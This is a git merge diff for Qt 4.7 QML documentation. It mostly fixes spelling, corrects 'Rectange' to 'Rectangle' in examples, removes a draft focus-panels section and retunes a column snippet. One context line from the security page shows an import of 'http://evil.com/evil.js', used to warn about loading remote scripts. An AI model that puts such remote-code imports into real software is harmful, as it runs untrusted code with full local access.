Merge branch '4.7-upstream' into 4.7-doc

16 files changed, 35 insertions, 45 deletions

diff --git a/doc/src/declarative/advtutorial.qdoc b/doc/src/declarative/advtutorial.qdoc
index 1954dd4..04d7f07 100644
--- a/doc/src/declarative/advtutorial.qdoc
+++ b/doc/src/declarative/advtutorial.qdoc
@@ -423,9 +423,9 @@ Here is the \c saveHighScore() function in \c samegame.js:
 
 First we call \c sendHighScore() (explained in the section below) if it is possible to send the high scores to an online database.
 
-Then, we use the \l{Offline Storage API} to maintain a persistant SQL database unique to this application. We create an offline storage database for the high scores using \c openDatabase() and prepare the data and SQL query that we want to use to save it. The offline storage API uses SQL queries for data manipulation and retrival, and in the \c db.transaction() call we use three SQL queries to initialize the database (if necessary), and then add to and retrieve high scores. To use the returned data, we turn it into a string with one line per row returned, and show a dialog containing that string.
+Then, we use the \l{Offline Storage API} to maintain a persistent SQL database unique to this application. We create an offline storage database for the high scores using \c openDatabase() and prepare the data and SQL query that we want to use to save it. The offline storage API uses SQL queries for data manipulation and retrieval, and in the \c db.transaction() call we use three SQL queries to initialize the database (if necessary), and then add to and retrieve high scores. To use the returned data, we turn it into a string with one line per row returned, and show a dialog containing that string.
 
-This is one way of storing and displaying high scores locally, but certainly not the only way. A more complex alternative would be to create a high score dialog component, and pass it the results for processing and display (instead of reusing the \c Dialog). This would allow a more themeable dialog that could beter present the high scores. If your QML is the UI for a C++ application, you could also have passed the score to a C++ function to store it locally in a variety of ways, including a simple format without SQL or in another SQL database.
+This is one way of storing and displaying high scores locally, but certainly not the only way. A more complex alternative would be to create a high score dialog component, and pass it the results for processing and display (instead of reusing the \c Dialog). This would allow a more themeable dialog that could better present the high scores. If your QML is the UI for a C++ application, you could also have passed the score to a C++ function to store it locally in a variety of ways, including a simple format without SQL or in another SQL database.
 
 \section3 Storing high scores online
 
diff --git a/doc/src/declarative/extending.qdoc b/doc/src/declarative/extending.qdoc
index a52cb94..18887c7 100644
--- a/doc/src/declarative/extending.qdoc
+++ b/doc/src/declarative/extending.qdoc
@@ -714,7 +714,7 @@ it in two steps, like this:
 \endcode
 
 If a default value is not supplied or set later in the file, each type has a
-default value for when none is explictly set. Below are the default values 
+default value for when none is explicitly set. Below are the default values
 of some of the types. For the remaining types the default values are undefined.
 
 \table
@@ -818,7 +818,7 @@ A property alias declaration looks a lot like a property definition:
 
 As the aliasing property has the same type as the aliased property, an explicit
 type is omitted, and the special "alias" keyword is used.  Instead of a default
-value, a property alias includes a compulsary alias reference.  The alias
+value, a property alias includes a compulsory alias reference.  The alias
 reference is used to locate the aliased property.  While similar to a property
 binding, the alias reference syntax is highly restricted.
 
@@ -988,7 +988,7 @@ Return values of type QVariant are also supported via Q_RETURN_ARG.
 \target components
 
 A component is a reusable type with a well-defined interface built entirely in
-QML.  Components appear as regular QML elements, and can be used interchangably
+QML.  Components appear as regular QML elements, and can be used interchangeably
 with core types.  Components allow developers to create new types to be reused
 in other projects without the use of C++.  Components can also help to reduce
 duplication inside one project by limiting the need for large numbers of
@@ -1081,7 +1081,7 @@ Methods and signals may be added in the same way.
 
 As all external methods, signals and properties are accessible to external
 users, developers should ensure that setting these properties does not have
-any undesirable side-effects.  For most resiliance, root level properties should
+any undesirable side-effects.  For most resilience, root level properties should
 only be used for literal default values.  When a root level property must be
 used inside the component - such as the children property - property aliases
 can be used to redirect this property to a "safe" location for external users.
diff --git a/doc/src/declarative/focus.qdoc b/doc/src/declarative/focus.qdoc
index 8c1906e..2e74fe0 100644
--- a/doc/src/declarative/focus.qdoc
+++ b/doc/src/declarative/focus.qdoc
@@ -120,7 +120,7 @@ hand side of the following table shows what we would like to be able to write.
 Here we create two instances of our previously defined component, and set the
 second one to have focus.  The intention is that when the \e A, \e B, or \e C
 keys are pressed, the second of the two components receives the event and
-reponds accordingly.
+responds accordingly.
 
 \table
 \row
@@ -276,7 +276,7 @@ Focus scopes allow focus to allocation to be easily partitioned.  Several
 QML items use it to this effect.
 
 \l ListView, for example, is itself a focus scope.  Generally this isn't
-noticable as \l ListView doesn't usually have manually added visual children.
+noticeable as \l ListView doesn't usually have manually added visual children.
 By being a focus scope, \l ListView can focus the current list item without
 worrying about how that will effect the rest of the application.  This allows
 the current item delegate to react to key presses.
@@ -301,14 +301,4 @@ actually performs the work of handling the \e {Return} key.
 
 All of the QML view classes, such as \l PathView and \l GridView, behave
 in a similar manner to allow key handling in their respective delegates.
-
-\section1 Focus Panels
-
-Traditional UIs are composed of many top-level windows.  Windows actually
-perform two tasks - they act as the visual bounds for a widget, and they segment
-focus.  Each window has a separate focused widget, that becomes (to mix
-terminologies) the \e {active focus} widget when the window is the active
-window.
-
-### Focus panels do basically the same thing.
 */
diff --git a/doc/src/declarative/modules.qdoc b/doc/src/declarative/modules.qdoc
index b5a6be1..011eb63 100644
--- a/doc/src/declarative/modules.qdoc
+++ b/doc/src/declarative/modules.qdoc
@@ -233,7 +233,7 @@ internal <TypeName> <File>
 plugin <Name> [<Path>]
 \endcode
 
-\bold {# <Commment>} lines are used for comments. They are ignored by the QML engine.
+\bold {# <Comment>} lines are used for comments. They are ignored by the QML engine.
 
 \bold {<TypeName> [<InitialVersion>] <File>} lines are used to add QML files as types.
 <TypeName> is the type being made available, the optional <InitialVersion> is a version
@@ -246,7 +246,7 @@ the \c qmldir file. Types which you do not wish to export to users of your modul
 may be marked with the \c internal keyword: \bold {internal <TypeName> <File>}.
 
 The same type can be provided by different files in different versions, in which
-case later versions (eg. 1.2) must precede earlier versions (eg. 1.0),
+case later versions (e.g. 1.2) must precede earlier versions (e.g. 1.0),
 since the \e first name-version match is used and a request for a version of a type
 can be fulfilled by one defined in an earlier version of the module. If a user attempts
 to import a version earlier than the earliest provided or later than the latest provided,
diff --git a/doc/src/declarative/propertybinding.qdoc b/doc/src/declarative/propertybinding.qdoc
index 3ee72bd..3bf85de 100644
--- a/doc/src/declarative/propertybinding.qdoc
+++ b/doc/src/declarative/propertybinding.qdoc
@@ -48,7 +48,7 @@ Rectangle {
 QML extends a standards compliant JavaScript engine, so any valid JavaScript expression can be 
 used as a property binding.  Bindings can access object properties, make function calls and even
 use builtin JavaScript objects like \e {Date} and \e {Math}.  Assigning a constant value to a 
-property can even be thought of as a binding - afterall, a constant is a valid JavaScript 
+property can even be thought of as a binding - after all, a constant is a valid JavaScript
 expression!  Here are some examples of more complex bindings:
 
 \code
diff --git a/doc/src/declarative/qdeclarativeintro.qdoc b/doc/src/declarative/qdeclarativeintro.qdoc
index b9925ac..87dafb0 100644
--- a/doc/src/declarative/qdeclarativeintro.qdoc
+++ b/doc/src/declarative/qdeclarativeintro.qdoc
@@ -173,7 +173,7 @@ Item {
 }
 \endcode
 
-QML properties are what is known as \e typesafe. That is, they only allow you to assign a value that
+QML properties are what is known as \e type-safe. That is, they only allow you to assign a value that
 matches the property type. For example, the \c x property of item is a real, and if you try to assign
 a string to it you will get an error.
 
@@ -189,7 +189,7 @@ Each object can be given a special unique property called an \e id. No other obj
 same \l{QML Documents}{QML document} can have the same \c id value. Assigning an id enables the object
 to be referred to by other objects and scripts.
 
-The first Rectangle element below has an \e id, "myRect". The second Rectange element defines its
+The first Rectangle element below has an \e id, "myRect". The second Rectangle element defines its
 own width by referring to \tt myRect.width, which means it will have the same \tt width
 value as the first Rectangle element.
 
diff --git a/doc/src/declarative/qdeclarativeperformance.qdoc b/doc/src/declarative/qdeclarativeperformance.qdoc
index 456197b..ab8759e 100644
--- a/doc/src/declarative/qdeclarativeperformance.qdoc
+++ b/doc/src/declarative/qdeclarativeperformance.qdoc
@@ -51,7 +51,7 @@ Rectangle {
     x: 20
     width: 200; height: 200
 }
-Rectange {
+Rectangle {
     id: rect2
     x: rect1.x
     y: rect1.y + rect1.height
@@ -68,7 +68,7 @@ Rectangle {
     x: 20
     width: 200; height: 200
 }
-Rectange {
+Rectangle {
     id: rect2
     height: 200
     anchors.left: rect1.left
diff --git a/doc/src/declarative/qdeclarativesecurity.qdoc b/doc/src/declarative/qdeclarativesecurity.qdoc
index 836f990..01d6c56 100644
--- a/doc/src/declarative/qdeclarativesecurity.qdoc
+++ b/doc/src/declarative/qdeclarativesecurity.qdoc
@@ -48,7 +48,7 @@ import "http://evil.com/evil.js" as Evil
 is equivalent to downloading "http://evil.com/evil.exe" and running it. The JavaScript execution
 environment of QML does not try to stop any particular accesses, including local file system
 access, just as for any native Qt application, so the "doEvil" function could do the same things
-as a native Qt application, a Python application, a Perl script, ec.
+as a native Qt application, a Python application, a Perl script, etc.
 
 As with any application accessing other content beyond it's control, a QML application should
 perform appropriate checks on untrusted data it loads.
diff --git a/doc/src/declarative/qdeclarativestates.qdoc b/doc/src/declarative/qdeclarativestates.qdoc
index d5d7a96..b663d43 100644
--- a/doc/src/declarative/qdeclarativestates.qdoc
+++ b/doc/src/declarative/qdeclarativestates.qdoc
@@ -221,7 +221,7 @@ Rectangle {
 
 This \l Transition defines that if any \c x or \c y properties have changed
 during a state change within this item, their values should be animated over 500
-millliseconds.
+milliseconds.
 
 See the \l Transitions documentation for more information.
 
diff --git a/doc/src/declarative/qml-intro.qdoc b/doc/src/declarative/qml-intro.qdoc
index 193d17b..f891e01 100644
--- a/doc/src/declarative/qml-intro.qdoc
+++ b/doc/src/declarative/qml-intro.qdoc
@@ -262,7 +262,7 @@ myRectangle.top         // Correct
 We can transform a graphical object to get additional effects. Rotate a
 piece of text by 180 degrees to display upside-down text. Rotate an image
 by 90 degrees to lay it on its side. These transformations require
-additonal information.
+additional information.
 
 For rotation, the additional information includes: the origin relative to
 the object being rotated, the axis of rotation, and the angle in degrees to
diff --git a/doc/src/declarative/qtbinding.qdoc b/doc/src/declarative/qtbinding.qdoc
index b78e5bf..58d53de 100644
--- a/doc/src/declarative/qtbinding.qdoc
+++ b/doc/src/declarative/qtbinding.qdoc
@@ -134,7 +134,7 @@ the window text will update accordingly.
 To detect when a C++ property value - in this case the \c CustomPalette's \c text property - 
 changes, the property must have a corresponding NOTIFY signal.  The NOTIFY signal specifies a signal
 that is emitted whenever the property changes value.  Implementers should take care to only emit the
-signal if the value \e changes to prevent loops from occuring.  Accessing a property from a 
+signal if the value \e changes to prevent loops from occurring.  Accessing a property from a
 binding that does not have a NOTIFY signal will cause QML to issue a warning at runtime.
 
 \section2 Dynamic Structured Data
@@ -256,7 +256,7 @@ For example:
 \snippet doc/src/snippets/declarative/qtbinding/resources/main.qml 0
 
 Note that the resource system cannot be accessed from QML directly. If the main QML file is
-loaded as a resource, all files specifed as relative paths in QML will also be loaded from
+loaded as a resource, all files specified as relative paths in QML will also be loaded from
 the resource system. Using the resource system is completely transparent to the QML layer.
 This also means that if the main QML file is not loaded as a resource then files in the resource
 system cannot be accessed from QML.
diff --git a/doc/src/declarative/qtprogrammers.qdoc b/doc/src/declarative/qtprogrammers.qdoc
index 1615157..0c14093 100644
--- a/doc/src/declarative/qtprogrammers.qdoc
+++ b/doc/src/declarative/qtprogrammers.qdoc
@@ -32,7 +32,7 @@
 
 \section1 Overview
 
-While QML does not require Qt knowledge to use, if you \e are already familar with Qt,
+While QML does not require Qt knowledge to use, if you \e are already familiar with Qt,
 much of your knowledge is directly relevant to learning and using QML. Of course,
 an application with a UI defined in QML also uses Qt for all the non-UI logic.
 
@@ -103,7 +103,7 @@ So, to implement your reusable button, you would simply build a QML component.
 
 Parent widgets each provide a generic way to interface to one or more arbitrary other widgets.
 A QTabWidget provides an interface to multiple "pages", one of which is visible at any time,
-and a mechnism for selecting among them (the QTabBar). A QScollArea provides scrollbars around
+and a mechanism for selecting among them (the QTabBar). A QScollArea provides scrollbars around
 a widget that is otherwise too large to fit in available space.
 
 Nearly all such components can be created directly in QML. Only a few cases
@@ -115,7 +115,7 @@ needs to be divided up into pages.
 
 A significant difference in the parenting concept with QML compare to QWidgets
 is that while child items are positioned relative to their parents,
-there is no requirement that they be wholy contained ("clipped") to
+there is no requirement that they be wholly contained ("clipped") to
 the parent (although the clipped property of the child Item does allow
 this where it is needed).
 This difference has rather far-reaching consequences, for example:
diff --git a/doc/src/declarative/scope.qdoc b/doc/src/declarative/scope.qdoc
index b7ce539..7e75380 100644
--- a/doc/src/declarative/scope.qdoc
+++ b/doc/src/declarative/scope.qdoc
@@ -174,7 +174,7 @@ PathView {
 }
 \endcode
 
-If the \l Image element omitted the \c root prefix, it would inadvertantly access 
+If the \l Image element omitted the \c root prefix, it would inadvertently access
 the unset \c {PathView.scale} attached property on itself.
 
 \section1 Component Scope
diff --git a/doc/src/getting-started/gettingstartedqml.qdoc b/doc/src/getting-started/gettingstartedqml.qdoc
index 9d4f6a7..c7c73e9 100644
--- a/doc/src/getting-started/gettingstartedqml.qdoc
+++ b/doc/src/getting-started/gettingstartedqml.qdoc
@@ -122,7 +122,7 @@
     items can anchor to another item, creating robust layouts.
 
     The \c MouseArea has many signal handlers that are called during mouse movements within
-    the specfied \c MouseArea boundaries. One of them is \c onClicked and it is called
+    the specified \c MouseArea boundaries. One of them is \c onClicked and it is called
     whenever the acceptable mouse button is clicked, the left click being the default. We
     can bind actions to the onClicked handler. In our example, \c console.log() outputs text
     whenever the mouse area is clicked. The function \c console.log() is a useful tool for
@@ -546,7 +546,7 @@
     a certain easing curve. An easing curve controls the animation rates and
     interpolation behavior during state transitions. The easing curve we chose is
     \l{PropertyAnimation::easing.type}{Easing.OutQuint}, which slows the movement near
-    the end of the animation. Pleae read \l {qdeclarativeanimation.html}{QML's Animation}
+    the end of the animation. Please read \l {qdeclarativeanimation.html}{QML's Animation}
     article.
 
     \snippet examples/tutorials/gettingStarted/gsQml/texteditor.qml transitions
@@ -835,7 +835,7 @@
     \c QDeclarativeListProperty<File>. The template type, \c File, needs to be a
     \c QObject derivative. Further, to create the
     \l {QDeclarativeListProperty}{QDeclarativeListProperty}, the list's accessor
-    and modifiers need to be passed to the consructor as function pointers. The list,
+    and modifiers need to be passed to the constructor as function pointers. The list,
     a \c QList in our case,  also needs to be a list of \c File pointers.
 
     The constructor of \l {QDeclarativeListProperty}{QDeclarativeListProperty}
@@ -980,7 +980,7 @@
     Our \c FileMenu can now connect to their respective actions. The \c saveButton
     will transfer the text from the \c TextEdit onto the directory's \c fileContent
     property, then copy its file name from the editable text input. Finally, the button
-    calls the \c saveFile() function, saving the file. The \c sloadButton has a similar
+    calls the \c saveFile() function, saving the file. The \c loadButton has a similar
     execution. Also, the \c New action will empty the contents of the \c TextEdit. 
 
     Further, the \c EditMenu buttons are connected to the \c TextEdit functions to copy,
diff --git a/doc/src/images/qml-column.png b/doc/src/images/qml-column.png
new file mode 100644
index 0000000..c589ad8
--- /dev/null
+++ b/doc/src/images/qml-column.png
diff --git a/doc/src/snippets/declarative/column/column.qml b/doc/src/snippets/declarative/column/column.qml
index 45c6822..18e95e9 100644
--- a/doc/src/snippets/declarative/column/column.qml
+++ b/doc/src/snippets/declarative/column/column.qml
@@ -47,21 +47,21 @@ Item {
     Column {
         anchors.horizontalCenter: parent.horizontalCenter
         anchors.verticalCenter: parent.verticalCenter
-        
+
         spacing: 5
 
         Rectangle { color: "lightblue"; radius: 10.0
                     width: 300; height: 50
-                    Text { anchors.fill: parent
-                           font.pointSize: 32; text: "Books" } }
+                    Text { anchors.centerIn: parent
+                           font.pointSize: 24; text: "Books" } }
         Rectangle { color: "gold"; radius: 10.0
                     width: 300; height: 50
-                    Text { anchors.fill: parent
-                           font.pointSize: 32; text: "Music" } }
+                    Text { anchors.centerIn: parent
+                           font.pointSize: 24; text: "Music" } }
         Rectangle { color: "lightgreen"; radius: 10.0
                     width: 300; height: 50
-                    Text { anchors.fill: parent
-                           font.pointSize: 32; text: "Movies" } }
+                    Text { anchors.centerIn: parent
+                           font.pointSize: 24; text: "Movies" } }
     }
 }
 //! [document]